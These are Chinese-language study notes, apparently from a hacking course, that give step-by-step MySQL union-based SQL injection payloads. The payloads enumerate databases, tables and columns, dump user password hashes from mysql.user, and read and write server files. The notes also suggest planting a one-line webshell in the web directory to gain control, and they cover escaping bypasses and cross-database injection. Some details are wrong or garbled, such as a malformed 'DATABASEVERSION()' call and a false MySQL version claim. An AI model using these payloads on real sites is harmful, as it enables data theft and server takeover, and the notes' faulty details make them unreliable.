(笔记内容来自小迪8,用以方便查看)
以下内容都以(url)?id=3为例,比如www.xx.com?id=3
******************************************************************
思路:获取表列数目用以后续查询
-》获取当前查询属于哪个数据库和数据库版本等系统信息
-》查询有哪些数据库(跨站注入)
-》查询指定数据库有哪些表
-》查询指定表有哪些列
1、获取表列数目用以后续查询
注入:(url)?id=3 order by X //X为数字,需尝试得出,后续都假设X=5
2、查询数据库名、版本号、当前用户等系统信息
VERSION() 返回数据库的版本号
CONNECTION_ID() 返回服务器的连接数
DATABASE()、SCHEMA() 返回当前数据库名
USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()返回当前用户
@@version_compile_os 操作系统名
注入:(url)?id=3 union select DATABASEVERSION(),USER(),1,2
其他函数用法也是一样的
3、查询所有数据库名字
注入:(url)?id=3 union SELECT schema_name,1,2,3,4 FROM information_schema.SCHEMATA
information_schema:存储所有数据库属性信息的数据库,只有MYSQL>=15版本才有这个数据库
information_schema.SCHEMATA:存储数据库名的表
4、查询数据库里的表项、表的列项
查询数据库里的表项:(url)?id=3 UNION SELECT table_name,2,3,4,5 FROM information_schema.TABLES WHERE table_schema='world'
information_schema.TABLES:存储所有数据库表名的表
table_schema='world' :查询数据库world下有哪些表
查询表的列项:(url)?id=3 UNION SELECT column_name,2,3,4,5 FROM information_schema.COLUMNS WHERE table_name='city' AND table_schema='world'
information_schema.COLUMNS:存储所有表字段信息的表
table_name='city':指定表名为city
table_schema='world':指定数据库名为world
注意:
1、table_schema='world'必须加,不加的话会把其他数据库的city表里的字段信息也查询出来
******************************************************************
5、查询数据库用户名和密码
注入:(url)?id=3 union SELECT USER, authentication_string,1,2,3 FROM mysql.user
注:密码是被加密的形式,登陆mysql数据库时,数据库系统会将你输入的密码先通过函数进行加密,然后再与数据库中的密码进行比较,匹配成功才可以登录。
6、读取和写入文件
读取:(url)?id=3 union select load_file 'e:/asd.txt';
写入:(url)?id=3 union select '123' into outfile 'e:/123.txt'
注:需root用户,其他用户读取为NULL,写入会出现Access denied
关于网站路径的获取:
1、报错显示
2、谷歌黑客
3、读取搭建平台配置文件
4、漏洞报错
5、遗留文件
6、字典猜解
此注入可用于读取和写入文件,比如直接将一句话木马放入web目录下即可拿到权限
注:路径符号及编码,比如union后面的语句里有'\n',或者存在安全的函数会将指定符号前加入转义符(load_file 'e:/asd.txt'->load_file \'e:/asd.txt\',这样就会语法有错),解决办法是直接传16进制编码(可选工具是"转换工具 by zj1244[小葵]")
7、跨库注入
网站A->数据库A,无注入点
网站B->数据库B,有注入点
且,数据库A和数据库B属于同一个MYSQL。这时候就可以用上面的注入获取所有数据库名->获取数据库A的所有信息
注:1、需要root权限,只有root权限才可以看所有数据库的信息,除非网站B的MYSQL登陆用户也拥有数据库A的权限
2、SQL注入时一定加上数据库A的前缀,否则可能会出错,如:select name,1,2 from 数据库A.user
8、注入地点
GET、POST、COOKIE、HTTP头部